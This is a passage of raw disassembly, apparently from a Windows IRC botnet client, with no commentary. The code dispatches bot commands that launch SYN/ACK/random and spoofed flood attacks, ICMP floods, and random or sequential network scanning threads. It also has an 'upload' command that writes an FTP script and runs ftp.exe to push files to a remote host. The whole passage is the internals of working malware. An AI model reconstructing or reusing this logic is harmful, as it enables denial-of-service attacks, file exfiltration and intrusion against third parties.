		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA34
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9FC
		push	esi
		call	dword_4CBA7C
		call	dword_4CB93C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AF00

loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266

loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch

loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]

loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------

loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208

loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------

loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB8
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"

loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE74
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_406E0C

loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------

loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_42AE3C
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE04

loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------

loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAD4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADBC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_406F33

loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------

loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42AD84
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------

loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD30
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059

loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------

loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF8

loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------

loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h

loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208

loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC90
		jmp	short loc_407013
; ---------------------------------------------------------------------------

loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]

loc_40707B:				; DATA XREF: ___:004330F0o
					; ___:00433104o ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------

loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx

loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC48
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40717B

loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_407169
; ---------------------------------------------------------------------------

loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42AC10

loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]

loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------

loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h

loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABAC

loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------

loc_407253:				; CODE XREF: sub_401ACD+576Aj
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB950
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB3C
		jmp	short loc_407325
; ---------------------------------------------------------------------------

loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB0C

loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38

loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------

loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx

loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h

loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431808, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_431808

loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------

loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431808[ecx]
		mov	[ebp+var_370], ecx

loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD8
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------

loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA4
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB988
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552

loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530

loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------

loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx

loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5

loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi

loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------

loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------

loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl

loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"

loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA3C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407680

loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_40766A
; ---------------------------------------------------------------------------

loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42AA04
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407786

loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_407770
; ---------------------------------------------------------------------------

loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42A978
		jmp	loc_403D37
; ---------------------------------------------------------------------------

loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E938[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A96C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E720[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E938
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------

loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E938[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E720[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E938
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"

loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
